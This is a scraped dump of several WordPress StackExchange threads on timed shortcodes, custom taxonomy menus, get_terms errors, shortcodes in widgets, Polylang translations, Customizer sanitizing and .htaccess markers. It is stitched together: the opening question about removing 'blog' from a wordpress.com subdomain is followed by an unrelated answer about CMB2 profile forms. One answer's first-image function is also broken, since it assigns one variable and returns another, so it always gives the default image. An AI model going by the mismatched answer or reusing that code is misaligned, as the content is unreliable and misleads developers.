Our small company is making a website using Wordpress free version. We had used wordpress in the past and would like to continue using it but our subdomain reads www.(ourname)blog.wordpress.com. Our website is not a blog and it would look bit more professional if the blog part is removed. Is there a way to get rid of it? Thank You!
UPDATE: As mentioned in the comments, you might want to learn how you do things like create meta boxes and do a file upload in Wordpress without using a framework like CMB2 first. However, as a seasoned Wordpress developer, I have found that using CMB2 greatly increased my productivity. I highly recommend using [CMB2](https://github.com/CMB2/CMB2) to create a front end form for editing a user profile. I just did the same thing and I modified the code from these links: * <https://github.com/CMB2/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end> * <https://webdevstudios.com/2015/03/30/use-cmb2-to-create-a-new-post-submission-form/> You have 3 functions (function names are from the second linked article above): One registers the cmb2 fields ``` function wds_frontend_form_register() { //code.. } ``` One create a shortcode for displaying the form: ``` function wds_do_frontend_form_submission_shortcode( $atts = array() ) { //code.. } ``` and the third handles the submission of the form: ``` function wds_handle_frontend_new_post_form_submission( $cmb, $post_data = array() ) { //code.. } ``` You can easily update your user instead of inserting a post here with [wp\_update\_user()](https://codex.wordpress.org/Function_Reference/wp_update_user) and [update\_user\_meta().](https://codex.wordpress.org/Function_Reference/update_user_meta) Full code examples are available through the links. [CMB2 field types reference docs here](https://github.com/CMB2/CMB2/wiki/Field-Types). [Link to file field type (allowing image upload)](https://github.com/CMB2/CMB2/wiki/Field-Types#file). This linked [example-functions.php](https://github.com/CMB2/CMB2/blob/master/example-functions.php#L530) also has an example for editing user profile fields (but this automatically hooks into the admin side). Handy if you also want to add fields there. Good luck. I really recommend [CMB2](https://github.com/CMB2/CMB2) it is brilliant.
282,078
<p>Our clients would like to schedule changes made to a given <strong>page</strong> (for instance by displaying the link to register to an event).</p> <p>Typically, the same page (/registration) should display (before the registration opening): "The registrations will be open by ..."</p> <p>Once the time comes, the same page should display: "Registrer by clicking on this link..."</p> <p>I tried to follow the below procedure, but it doesn't help: <a href="https://en.support.wordpress.com/schedule-a-page/" rel="nofollow noreferrer">https://en.support.wordpress.com/schedule-a-page/</a></p> <p>Is there a way to have 2 versions (or revision - one published and one as draft) where the draft version would become published automatically?</p> <p>Or a way to have two different pages sharing the same url (one being published until a given date and the other one getting published right after the first gets unpublished)?</p> <p>Preferably, this procedure should not involve a developer every time a bit of text is changed on a page.</p> <p>Thanks in advance</p>
[ { "answer_id": 282079, "author": "mmm", "author_id": 74311, "author_profile": "https://wordpress.stackexchange.com/users/74311", "pm_score": 1, "selected": false, "text": "<p>you can do this with a shortcode like this</p>\n\n<pre><code>add_shortcode(\"custom_text_se282078\", function ($a...
2017/10/06
[ "https://wordpress.stackexchange.com/questions/282078", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/126698/" ]
Our clients would like to schedule changes made to a given **page** (for instance by displaying the link to register to an event). Typically, the same page (/registration) should display (before the registration opening): "The registrations will be open by ..." Once the time comes, the same page should display: "Registrer by clicking on this link..." I tried to follow the below procedure, but it doesn't help: <https://en.support.wordpress.com/schedule-a-page/> Is there a way to have 2 versions (or revision - one published and one as draft) where the draft version would become published automatically? Or a way to have two different pages sharing the same url (one being published until a given date and the other one getting published right after the first gets unpublished)? Preferably, this procedure should not involve a developer every time a bit of text is changed on a page. Thanks in advance
you can do this with a shortcode like this ``` add_shortcode("custom_text_se282078", function ($attr, $content, $tag) { $result = ""; if (date_i18n("H") > $attr["time"]) { $result = $attr["text_after"]; } else { $result = $attr["text_before"]; } return $result; }); ``` with that you just have to put that in the page : [custom\_text\_se282078 time="10" text\_before="text before 10 h" text\_after="texte after 10 h"]
282,086
<p>I have made custom taxonomies that I am using for few different post types:</p> <pre><code>&lt;?php add_action('init', function() { register_post_type('intranet-categories', [ 'labels' =&gt; [ 'name' =&gt; 'Kategorier', 'singular_name' =&gt; 'Kategorier', 'menu_name' =&gt; 'Kategorier', 'name_admin_bar' =&gt; 'Kategorier', 'add_new' =&gt; 'Legg til ny', 'add_new_item' =&gt; 'Ny Kategori', 'new_item' =&gt; 'Ny Kategori', 'edit_item' =&gt; 'Rediger Kategori', 'view_item' =&gt; 'Vis Kategori', 'all_items' =&gt; 'Alle Kategorier', 'search_items' =&gt; 'Søk', 'parent_item_colon' =&gt; 'Forelder', 'not_found' =&gt; 'Fant ingen Kategori.', 'not_found_in_trash' =&gt; 'Fant ingen Kategori i søppelkassen.', ], 'description' =&gt; 'Kategori', 'public' =&gt; true, 'publicly_queryable' =&gt; true, 'show_ui' =&gt; true, 'show_in_menu' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; ['slug' =&gt; 'intranet-categories'], 'capability_type' =&gt; 'post', 'has_archive' =&gt; true, 'hierarchical' =&gt; false, 'menu_position' =&gt; null, 'menu_icon' =&gt; 'dashicons-editor-ol', 'supports' =&gt; ['title', 'editor', 'excerpt', 'thumbnail'], 'capability_type' =&gt; 'custom_post_type', 'capabilities' =&gt; ['create_posts' =&gt; false], ]); register_taxonomy('department', ['intranet-categories', 'intranet-post'], [ 'labels' =&gt; [ 'name' =&gt; 'Avdeling', 'singular_name' =&gt; 'Avdeling', 'search_items' =&gt; 'Søk', 'all_items' =&gt; 'Alle avdelinger', 'parent_item' =&gt; 'Forelder', 'parent_item_colon' =&gt; 'Forelder', 'edit_item' =&gt; 'Rediger avdeling', 'update_item' =&gt; 'Oppdater avdeling', 'add_new_item' =&gt; 'Opprett avdeling', 'new_item_name' =&gt; 'Ny avdeling', 'menu_name' =&gt; 'Avdelinger', ], 'hierarchical' =&gt; true, 'show_ui' =&gt; true, 'show_admin_column' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; ['slug' =&gt; 'avdeling'], ]); register_taxonomy('region', ['intranet-categories', 'intranet-post'], [ 'labels' =&gt; [ 'name' =&gt; 'Region', 'singular_name' =&gt; 'Region', 'search_items' =&gt; 'Søk', 'all_items' =&gt; 'Alle region', 'parent_item' =&gt; 'Forelder', 'parent_item_colon' =&gt; 'Forelder', 'edit_item' =&gt; 'Rediger Region', 'update_item' =&gt; 'Oppdater Region', 'add_new_item' =&gt; 'Opprett Region', 'new_item_name' =&gt; 'Ny Region', 'menu_name' =&gt; 'Regioner', ], 'hierarchical' =&gt; true, 'show_ui' =&gt; true, 'show_admin_column' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; ['slug' =&gt; 'avdeling'], ]); register_taxonomy('industry', ['intranet-categories', 'intranet-post'], [ 'labels' =&gt; [ 'name' =&gt; 'Bransje', 'singular_name' =&gt; 'Bransje', 'search_items' =&gt; 'Søk', 'all_items' =&gt; 'Alle bransjer', 'parent_item' =&gt; 'Forelder', 'parent_item_colon' =&gt; 'Forelder', 'edit_item' =&gt; 'Rediger bransje', 'update_item' =&gt; 'Oppdater bransje', 'add_new_item' =&gt; 'Opprett bransje', 'new_item_name' =&gt; 'Ny bransje', 'menu_name' =&gt; 'Bransjer', ], 'hierarchical' =&gt; true, 'show_ui' =&gt; true, 'show_admin_column' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; ['slug' =&gt; 'bransje'], ] ); register_taxonomy('role', ['intranet-categories', 'intranet-post'], [ 'labels' =&gt; [ 'name' =&gt; 'Rolle', 'singular_name' =&gt; 'Rolle', 'search_items' =&gt; 'Søk', 'all_items' =&gt; 'Alle roller', 'parent_item' =&gt; 'Forelder', 'parent_item_colon' =&gt; 'Forelder', 'edit_item' =&gt; 'Rediger rolle', 'update_item' =&gt; 'Oppdater rolle', 'add_new_item' =&gt; 'Opprett rolle', 'new_item_name' =&gt; 'Ny rolle', 'menu_name' =&gt; 'Roller', ], 'hierarchical' =&gt; true, 'show_ui' =&gt; true, 'show_admin_column' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; ['slug' =&gt; 'rolle'], ] ); register_taxonomy('company', ['intranet-categories', 'intranet-post'], [ 'labels' =&gt; [ 'name' =&gt; 'Selskap', 'singular_name' =&gt; 'Selskap', 'search_items' =&gt; 'Søk', 'all_items' =&gt; 'Alle selskaper', 'parent_item' =&gt; 'Forelder', 'parent_item_colon' =&gt; 'Forelder', 'edit_item' =&gt; 'Rediger selskap', 'update_item' =&gt; 'Oppdater selskap', 'add_new_item' =&gt; 'Opprett selskap', 'new_item_name' =&gt; 'Ny selskap', 'menu_name' =&gt; 'Selskaper', ], 'hierarchical' =&gt; true, 'show_ui' =&gt; true, 'show_admin_column' =&gt; true, 'query_var' =&gt; true, 'rewrite' =&gt; ['slug' =&gt; 'selskap'], ] ); }); </code></pre> <p>What I would like to do is to hide the created custom taxonomies in the admin menu for <code>intranet-post</code> type, and only have them visible in the admin menu for <code>intranet-categories</code>, since I only want to edit those custom taxonomies and add terms to them from <code>intranet-categories</code> post type. I have tried something to do that like this:</p> <pre><code>function remove_taxonomy_submenu_pages() { $categories = get_object_taxonomies('intranet-categories'); foreach($categories as $category) { remove_menu_page( 'edit.php', 'edit-tags.php?taxonomy=' . $category . '&amp;post_type=intranet-post' ); } } add_action( 'admin_menu', 'remove_taxonomy_submenu_pages', 20); </code></pre> <p>But, that didn't work, what is the correct way to do this?</p>
[ { "answer_id": 282087, "author": "Randomer11", "author_id": 62291, "author_profile": "https://wordpress.stackexchange.com/users/62291", "pm_score": 0, "selected": false, "text": "<p>You could use a plugin such as : <a href=\"https://en-gb.wordpress.org/plugins/admin-menu-editor/\" rel=\"...
2017/10/06
[ "https://wordpress.stackexchange.com/questions/282086", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/115898/" ]
I have made custom taxonomies that I am using for few different post types: ``` <?php add_action('init', function() { register_post_type('intranet-categories', [ 'labels' => [ 'name' => 'Kategorier', 'singular_name' => 'Kategorier', 'menu_name' => 'Kategorier', 'name_admin_bar' => 'Kategorier', 'add_new' => 'Legg til ny', 'add_new_item' => 'Ny Kategori', 'new_item' => 'Ny Kategori', 'edit_item' => 'Rediger Kategori', 'view_item' => 'Vis Kategori', 'all_items' => 'Alle Kategorier', 'search_items' => 'Søk', 'parent_item_colon' => 'Forelder', 'not_found' => 'Fant ingen Kategori.', 'not_found_in_trash' => 'Fant ingen Kategori i søppelkassen.', ], 'description' => 'Kategori', 'public' => true, 'publicly_queryable' => true, 'show_ui' => true, 'show_in_menu' => true, 'query_var' => true, 'rewrite' => ['slug' => 'intranet-categories'], 'capability_type' => 'post', 'has_archive' => true, 'hierarchical' => false, 'menu_position' => null, 'menu_icon' => 'dashicons-editor-ol', 'supports' => ['title', 'editor', 'excerpt', 'thumbnail'], 'capability_type' => 'custom_post_type', 'capabilities' => ['create_posts' => false], ]); register_taxonomy('department', ['intranet-categories', 'intranet-post'], [ 'labels' => [ 'name' => 'Avdeling', 'singular_name' => 'Avdeling', 'search_items' => 'Søk', 'all_items' => 'Alle avdelinger', 'parent_item' => 'Forelder', 'parent_item_colon' => 'Forelder', 'edit_item' => 'Rediger avdeling', 'update_item' => 'Oppdater avdeling', 'add_new_item' => 'Opprett avdeling', 'new_item_name' => 'Ny avdeling', 'menu_name' => 'Avdelinger', ], 'hierarchical' => true, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => ['slug' => 'avdeling'], ]); register_taxonomy('region', ['intranet-categories', 'intranet-post'], [ 'labels' => [ 'name' => 'Region', 'singular_name' => 'Region', 'search_items' => 'Søk', 'all_items' => 'Alle region', 'parent_item' => 'Forelder', 'parent_item_colon' => 'Forelder', 'edit_item' => 'Rediger Region', 'update_item' => 'Oppdater Region', 'add_new_item' => 'Opprett Region', 'new_item_name' => 'Ny Region', 'menu_name' => 'Regioner', ], 'hierarchical' => true, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => ['slug' => 'avdeling'], ]); register_taxonomy('industry', ['intranet-categories', 'intranet-post'], [ 'labels' => [ 'name' => 'Bransje', 'singular_name' => 'Bransje', 'search_items' => 'Søk', 'all_items' => 'Alle bransjer', 'parent_item' => 'Forelder', 'parent_item_colon' => 'Forelder', 'edit_item' => 'Rediger bransje', 'update_item' => 'Oppdater bransje', 'add_new_item' => 'Opprett bransje', 'new_item_name' => 'Ny bransje', 'menu_name' => 'Bransjer', ], 'hierarchical' => true, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => ['slug' => 'bransje'], ] ); register_taxonomy('role', ['intranet-categories', 'intranet-post'], [ 'labels' => [ 'name' => 'Rolle', 'singular_name' => 'Rolle', 'search_items' => 'Søk', 'all_items' => 'Alle roller', 'parent_item' => 'Forelder', 'parent_item_colon' => 'Forelder', 'edit_item' => 'Rediger rolle', 'update_item' => 'Oppdater rolle', 'add_new_item' => 'Opprett rolle', 'new_item_name' => 'Ny rolle', 'menu_name' => 'Roller', ], 'hierarchical' => true, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => ['slug' => 'rolle'], ] ); register_taxonomy('company', ['intranet-categories', 'intranet-post'], [ 'labels' => [ 'name' => 'Selskap', 'singular_name' => 'Selskap', 'search_items' => 'Søk', 'all_items' => 'Alle selskaper', 'parent_item' => 'Forelder', 'parent_item_colon' => 'Forelder', 'edit_item' => 'Rediger selskap', 'update_item' => 'Oppdater selskap', 'add_new_item' => 'Opprett selskap', 'new_item_name' => 'Ny selskap', 'menu_name' => 'Selskaper', ], 'hierarchical' => true, 'show_ui' => true, 'show_admin_column' => true, 'query_var' => true, 'rewrite' => ['slug' => 'selskap'], ] ); }); ``` What I would like to do is to hide the created custom taxonomies in the admin menu for `intranet-post` type, and only have them visible in the admin menu for `intranet-categories`, since I only want to edit those custom taxonomies and add terms to them from `intranet-categories` post type. I have tried something to do that like this: ``` function remove_taxonomy_submenu_pages() { $categories = get_object_taxonomies('intranet-categories'); foreach($categories as $category) { remove_menu_page( 'edit.php', 'edit-tags.php?taxonomy=' . $category . '&post_type=intranet-post' ); } } add_action( 'admin_menu', 'remove_taxonomy_submenu_pages', 20); ``` But, that didn't work, what is the correct way to do this?
Referencing register\_taxonomy() <https://codex.wordpress.org/Function_Reference/register_taxonomy> **show\_in\_menu** Where to show the taxonomy in the admin menu. show\_ui must be true. Default: value of show\_ui argument * 'false' - do not display in the admin menu * 'true' - show as a submenu of associated object types
282,104
<p>Are there any dependencies on which shortcode depends?</p> <p><code>[news_weber][/news_weber]</code> → Didn't work, but when used with <code>do_shortcode</code> method it worked.</p> <p>I installed <a href="https://downloads.wordpress.org/plugin/shortcodes-ultimate.latest-stable.zip" rel="nofollow noreferrer">Ultimate shortcode plugin</a> to check whether that works or not. all the shortcodes of that plugin worked, strangely as soon as that plugin was installed my custom shortcodes also worked and as soon as uninstalled my custom shortcodes stopped working. what is the connection?</p> <p>are there any dependencies that are not included in my theme and they get included as soon as some third-party plugin is installed?</p> <h1>Update →</h1> <ol> <li>The shortcode works if used in the <code>post(edit mode) editor</code>, and</li> <li>It also works with <code>do_shortcode</code> method, but</li> <li>It doesn't work when we use the default text widget and place our shortcode there. However, it works here also If we install the plugin as I told you above.</li> </ol> <p><a href="https://i.stack.imgur.com/muBQG.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/muBQG.png" alt="enter image description here"></a></p> <p><strong>what is the issue?</strong></p> <h1>Update 2: Code →</h1> <pre><code>function burner() { ob_start(); $random=rand(1,10000); ?&gt; //some code &lt;?php return ob_get_clean(); } add_shortcode('news_burner', 'burner'); </code></pre> <h1>Update #3</h1> <p>Shortcodes are plugin territory so I transferred them to a plugin, but the same problem they do not work, but when I install a 3rd party plugin as stated above they do work.</p>
[ { "answer_id": 282123, "author": "Patrice Poliquin", "author_id": 32365, "author_profile": "https://wordpress.stackexchange.com/users/32365", "pm_score": 0, "selected": false, "text": "<p>Based on your question and my understanding of your question, you have to make sure that your shortc...
2017/10/06
[ "https://wordpress.stackexchange.com/questions/282104", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105791/" ]
Are there any dependencies on which shortcode depends? `[news_weber][/news_weber]` → Didn't work, but when used with `do_shortcode` method it worked. I installed [Ultimate shortcode plugin](https://downloads.wordpress.org/plugin/shortcodes-ultimate.latest-stable.zip) to check whether that works or not. all the shortcodes of that plugin worked, strangely as soon as that plugin was installed my custom shortcodes also worked and as soon as uninstalled my custom shortcodes stopped working. what is the connection? are there any dependencies that are not included in my theme and they get included as soon as some third-party plugin is installed? Update → ======== 1. The shortcode works if used in the `post(edit mode) editor`, and 2. It also works with `do_shortcode` method, but 3. It doesn't work when we use the default text widget and place our shortcode there. However, it works here also If we install the plugin as I told you above. [![enter image description here](https://i.stack.imgur.com/muBQG.png)](https://i.stack.imgur.com/muBQG.png) **what is the issue?** Update 2: Code → ================ ``` function burner() { ob_start(); $random=rand(1,10000); ?> //some code <?php return ob_get_clean(); } add_shortcode('news_burner', 'burner'); ``` Update #3 ========= Shortcodes are plugin territory so I transferred them to a plugin, but the same problem they do not work, but when I install a 3rd party plugin as stated above they do work.
Problem 1 --------- It doesn't work because you're using `new_weber` but you're registering `news_burner`, and they aren't the same So instead use: `[news_burner]` You only need a closing shortcode if it's containing content which that plugin does not. Problem 2 --------- Shortcodes don't work in text widgets out of the box, you can add that functionality via a plugin though, see this question/answer: [Shortcode in Text Widget not working](https://wordpress.stackexchange.com/questions/156222/shortcode-in-text-widget-not-working/156229) This is why it works with `do_shortcode` but not in widgets. It'll also work in post content
282,133
<p>Is there a way or a plugin to set a featured image from the first image's url (or tag) posted in the article?</p>
[ { "answer_id": 282197, "author": "Maqk", "author_id": 86885, "author_profile": "https://wordpress.stackexchange.com/users/86885", "pm_score": 0, "selected": false, "text": "<p>You can display the first image from your post content as a but can't set that as a featured image, but you can ...
2017/10/06
[ "https://wordpress.stackexchange.com/questions/282133", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129190/" ]
Is there a way or a plugin to set a featured image from the first image's url (or tag) posted in the article?
You can display the first image from your post content as a but can't set that as a featured image, but you can display it. Create a function to find the first tag from the post content starting with `<img>` element using regex and echo the image where you wish to display the first image. In the below function we use `ob_start()` which creates a buffer which output is written to. The below code has 2 options to fetch only specific extension or only the images. Un comment the code which you are willing to use the jpg extension image and comment the other output. ``` <?php function prefix_get_first_image() { global $post, $posts; $first_image = ''; ob_start(); ob_end_clean(); //Regex to only fetch .JPG extension images //$output = preg_match_all( '/<img ([^>]* )?src=[\"\']([^\"\']*\.jpe?g)[\"\']/Ui', $post->post_content, $matches ); $output = preg_match_all( '/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches ); $first_img = $matches [1] [0]; // Define the default image if no img is inserted in the content if ( empty( $first_image ) ) { $first_image = get_template_directory_uri() . '/images/default-image.jpg'; } return $first_image; } ?> ``` Now where you want to display the image place the following function and echo it. ``` <?php echo prefix_get_first_image(); ?> ``` I'm not a master in WordPress but yes there might be a plugin to do that but I think you might be doing this as you may have many posts with those images inserted into the content already. But its a good idea to set the featured image from media library. You should use the WordPress Native functionality rather than using custom defined methods to force the native WordPress functions.
282,142
<p>I use insert_with_markers in a couple of my plugins to add some small bits of code to the htaccess file. What I'm unclear about is how to remove the code and markers.</p> <p>For example, if I call the function like this:-</p> <pre><code>insert_with_markers($htaccess, "marker","RewriteBase /foobar"); </code></pre> <p>The result in htaccess is:-</p> <pre><code># BEGIN marker RewriteBase /foobar # END marker </code></pre> <p>I can use insert_with_markers, with an empty string, like so:-</p> <pre><code>insert_with_markers($htaccess, "marker",""); </code></pre> <p>Which removes all the code, but the markers remain, like this:-</p> <pre><code># BEGIN marker # END marker </code></pre> <p>Does anybody know of a clean way to remove the markers as well?... that doesn't involve filtering the htaccess file with regex? I would like to be able to uninstall my plugins and remove all the traces if possible.</p>
[ { "answer_id": 282197, "author": "Maqk", "author_id": 86885, "author_profile": "https://wordpress.stackexchange.com/users/86885", "pm_score": 0, "selected": false, "text": "<p>You can display the first image from your post content as a but can't set that as a featured image, but you can ...
2017/10/06
[ "https://wordpress.stackexchange.com/questions/282142", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/87826/" ]
I use insert\_with\_markers in a couple of my plugins to add some small bits of code to the htaccess file. What I'm unclear about is how to remove the code and markers. For example, if I call the function like this:- ``` insert_with_markers($htaccess, "marker","RewriteBase /foobar"); ``` The result in htaccess is:- ``` # BEGIN marker RewriteBase /foobar # END marker ``` I can use insert\_with\_markers, with an empty string, like so:- ``` insert_with_markers($htaccess, "marker",""); ``` Which removes all the code, but the markers remain, like this:- ``` # BEGIN marker # END marker ``` Does anybody know of a clean way to remove the markers as well?... that doesn't involve filtering the htaccess file with regex? I would like to be able to uninstall my plugins and remove all the traces if possible.
You can display the first image from your post content as a but can't set that as a featured image, but you can display it. Create a function to find the first tag from the post content starting with `<img>` element using regex and echo the image where you wish to display the first image. In the below function we use `ob_start()` which creates a buffer which output is written to. The below code has 2 options to fetch only specific extension or only the images. Un comment the code which you are willing to use the jpg extension image and comment the other output. ``` <?php function prefix_get_first_image() { global $post, $posts; $first_image = ''; ob_start(); ob_end_clean(); //Regex to only fetch .JPG extension images //$output = preg_match_all( '/<img ([^>]* )?src=[\"\']([^\"\']*\.jpe?g)[\"\']/Ui', $post->post_content, $matches ); $output = preg_match_all( '/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches ); $first_img = $matches [1] [0]; // Define the default image if no img is inserted in the content if ( empty( $first_image ) ) { $first_image = get_template_directory_uri() . '/images/default-image.jpg'; } return $first_image; } ?> ``` Now where you want to display the image place the following function and echo it. ``` <?php echo prefix_get_first_image(); ?> ``` I'm not a master in WordPress but yes there might be a plugin to do that but I think you might be doing this as you may have many posts with those images inserted into the content already. But its a good idea to set the featured image from media library. You should use the WordPress Native functionality rather than using custom defined methods to force the native WordPress functions.
282,149
<p>My code is like that </p> <pre><code>$wp_customize-&gt;add_setting( 'scroll_logo', array( 'default' =&gt; '', 'capability' =&gt; 'edit_theme_options', 'sanitize_callback' =&gt; 'esc_attr', ) ); $wp_customize-&gt;add_control( new WP_Customize_Cropped_Image_Control( $wp_customize, 'scroll_logo', array( 'section' =&gt; 'title_tagline', 'label' =&gt; __( 'Upload Scroll Logo', 'bar-restaurant' ), 'description' =&gt; __( 'Logo Size (120 * 60)', 'bar-restaurant' ), 'flex_width' =&gt; true, 'flex_height' =&gt; true, 'width' =&gt; 120, 'height' =&gt; 50, 'priority' =&gt; 19, 'default-image' =&gt; '', ) ) ); </code></pre>
[ { "answer_id": 282420, "author": "Weston Ruter", "author_id": 8521, "author_profile": "https://wordpress.stackexchange.com/users/8521", "pm_score": 2, "selected": false, "text": "<p>It's always a good idea to sanitize values being accepted from the user. A <code>WP_Customize_Cropped_Imag...
2017/10/07
[ "https://wordpress.stackexchange.com/questions/282149", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129203/" ]
My code is like that ``` $wp_customize->add_setting( 'scroll_logo', array( 'default' => '', 'capability' => 'edit_theme_options', 'sanitize_callback' => 'esc_attr', ) ); $wp_customize->add_control( new WP_Customize_Cropped_Image_Control( $wp_customize, 'scroll_logo', array( 'section' => 'title_tagline', 'label' => __( 'Upload Scroll Logo', 'bar-restaurant' ), 'description' => __( 'Logo Size (120 * 60)', 'bar-restaurant' ), 'flex_width' => true, 'flex_height' => true, 'width' => 120, 'height' => 50, 'priority' => 19, 'default-image' => '', ) ) ); ```
It's always a good idea to sanitize values being accepted from the user. A `WP_Customize_Cropped_Image_Control` will populate its associated setting with an attachment ID. Thus you could use `absint` as the sanitizing function. Remember that `esc_attr` is an escaping function and should only be used when printing out a value to the page, and here particularly in an HTML attribute. Note also that `esc_url_raw()` is not an escaping function, despite its name, but rather is actually a sanitizing function.
282,160
<p>I am using Polylang. It is not obvious to me how the relationship between posts are established. I can switch between different language versions of the same post, and I can tell that they're (obviously) different posts in the database. But I can see how Polylang establishes and maintains that relationship. I assumed that there was some meta-value, but that's not the case. Does anyone have any insight? </p> <p>Initially, I'd like to know this, because I need to create a publish flow where translations aren't accidentally published before the "original". </p>
[ { "answer_id": 282185, "author": "mmm", "author_id": 74311, "author_profile": "https://wordpress.stackexchange.com/users/74311", "pm_score": 3, "selected": true, "text": "<p>polylang stores translation in a taxinomy but it's better to access them with the polylang object like that : </p>...
2017/10/07
[ "https://wordpress.stackexchange.com/questions/282160", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/3986/" ]
I am using Polylang. It is not obvious to me how the relationship between posts are established. I can switch between different language versions of the same post, and I can tell that they're (obviously) different posts in the database. But I can see how Polylang establishes and maintains that relationship. I assumed that there was some meta-value, but that's not the case. Does anyone have any insight? Initially, I'd like to know this, because I need to create a publish flow where translations aren't accidentally published before the "original".
polylang stores translation in a taxinomy but it's better to access them with the polylang object like that : ``` // test if the plugin polylang is present if (isset($GLOBALS["polylang"])) { $translations = $GLOBALS["polylang"]->model->post->get_translations($post->ID); // $translations contains an array with all translations of the post } ``` all translations are interconnected then there is no parent translation. if you want to find the first created post you can search the lowest ID or sort by publication time.
282,162
<p>I have been developing the shortcodes for which am pulling the terms of custom taxonomies from a plugin. It was working fine prior to WordPress 4.5.0 and now realized it is not working after 4.5.0.</p> <p>I am pulling those terms in an old method like below.</p> <p><strong>Old Method</strong></p> <pre><code>// Sermon Topics $prefix_topic_terms= array(); if ( ! empty( $prefix_topic_terms ) ) { $prefix_sermon_topic = get_terms('ctc_sermon_topic', 'orderby=name&amp;hide_empty=0'); foreach ($prefix_sermon_topic as $category) { $prefix_topic_terms[$prefix_sermon_topic-&gt;slug] = $prefix_sermon_topic-&gt;name; } } </code></pre> <p><strong>New Method that didn't work</strong></p> <pre><code>// Sermon Topics $prefix_topic_terms = array(); if ( ! empty( $prefix_topic_terms ) ) { $prefix_sermon_topic = get_terms( array( 'taxonomy' =&gt; 'ctc_sermon_topic', 'hide_empty' =&gt; false, 'orderby' =&gt; 'name', 'hide_empty' =&gt; true, )); foreach ($prefix_sermon_topic as $category) { $prefix_topic_terms[$category-&gt;slug] = $category-&gt;name; } } var_dump($prefix_topic_terms); </code></pre> <p>Displays Error Invalid Taxonomy error as below</p> <pre><code>object(WP_Error)#2577 (2) { ["errors"]=&gt; array(1) { ["invalid_taxonomy"]=&gt; array(1) { [0]=&gt; string(17) "Invalid taxonomy." } } ["error_data"]=&gt; array(0) { } } </code></pre> <p>What am I doing wrong?</p> <p><strong>Edited</strong> Got success with the following code</p> <pre><code>// Sermon Topics $prefix_topic_terms = array(); $prefix_sermon_topic = get_terms( array( 'taxonomy' =&gt; 'ctc_sermon_topic', 'orderby' =&gt; 'name', 'hide_empty' =&gt; true, )); if ( ! empty( $prefix_topic_terms ) &amp;&amp; ! is_wp_error( $prefix_topic_terms ) ) { foreach($prefix_sermon_topic as $category) { $prefix_topic_terms [$category-&gt;slug] = $category-&gt;name; } } </code></pre> <p>The above code works if i remove the if condition.</p>
[ { "answer_id": 282164, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>OK, wild guess:</p>\n\n<pre><code>$prefix_topic_terms= array();\nif ( ! empty( $iva_topic_terms ) ) {\n</code>...
2017/10/07
[ "https://wordpress.stackexchange.com/questions/282162", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/86885/" ]
I have been developing the shortcodes for which am pulling the terms of custom taxonomies from a plugin. It was working fine prior to WordPress 4.5.0 and now realized it is not working after 4.5.0. I am pulling those terms in an old method like below. **Old Method** ``` // Sermon Topics $prefix_topic_terms= array(); if ( ! empty( $prefix_topic_terms ) ) { $prefix_sermon_topic = get_terms('ctc_sermon_topic', 'orderby=name&hide_empty=0'); foreach ($prefix_sermon_topic as $category) { $prefix_topic_terms[$prefix_sermon_topic->slug] = $prefix_sermon_topic->name; } } ``` **New Method that didn't work** ``` // Sermon Topics $prefix_topic_terms = array(); if ( ! empty( $prefix_topic_terms ) ) { $prefix_sermon_topic = get_terms( array( 'taxonomy' => 'ctc_sermon_topic', 'hide_empty' => false, 'orderby' => 'name', 'hide_empty' => true, )); foreach ($prefix_sermon_topic as $category) { $prefix_topic_terms[$category->slug] = $category->name; } } var_dump($prefix_topic_terms); ``` Displays Error Invalid Taxonomy error as below ``` object(WP_Error)#2577 (2) { ["errors"]=> array(1) { ["invalid_taxonomy"]=> array(1) { [0]=> string(17) "Invalid taxonomy." } } ["error_data"]=> array(0) { } } ``` What am I doing wrong? **Edited** Got success with the following code ``` // Sermon Topics $prefix_topic_terms = array(); $prefix_sermon_topic = get_terms( array( 'taxonomy' => 'ctc_sermon_topic', 'orderby' => 'name', 'hide_empty' => true, )); if ( ! empty( $prefix_topic_terms ) && ! is_wp_error( $prefix_topic_terms ) ) { foreach($prefix_sermon_topic as $category) { $prefix_topic_terms [$category->slug] = $category->name; } } ``` The above code works if i remove the if condition.
Got it fixed as I was checking the variables which are empty and defined as an array. Now converted the code into a function. Hope this is helpful for others Earlier the condition was wrong. Now I am checking whether the passed variable is a WordPress Error with [is\_wp\_error](https://codex.wordpress.org/Function_Reference/is_wp_error) and checking the taxonomy terms variable is not empty. ``` function sermon_topic() { $prefix_terms = array(); $prefix_postype_taxonomy = get_terms( array( 'taxonomy' => 'ctc_sermon_topic', 'orderby' => 'name', 'hide_empty' => true, )); if ( ! empty( $prefix_postype_taxonomy ) && ! is_wp_error( $prefix_postype_taxonomy ) ) { foreach($prefix_postype_taxonomy as $category) { $prefix_terms[$category->slug] = $category->name; } } return $prefix_terms; } ``` Where I want to pull the terms I use function `sermon_topic();`
282,163
<p>I have a quick question. Did anyone managed to use Axios inside WordPress to do AJAX requests (wp_ajax with action - calling a function) not REST API and how did you do it?</p> <p>It seems that Axios is sending a JSON and whenever I try the request I get a 0. However, using jQuery AJAX it works fine.</p>
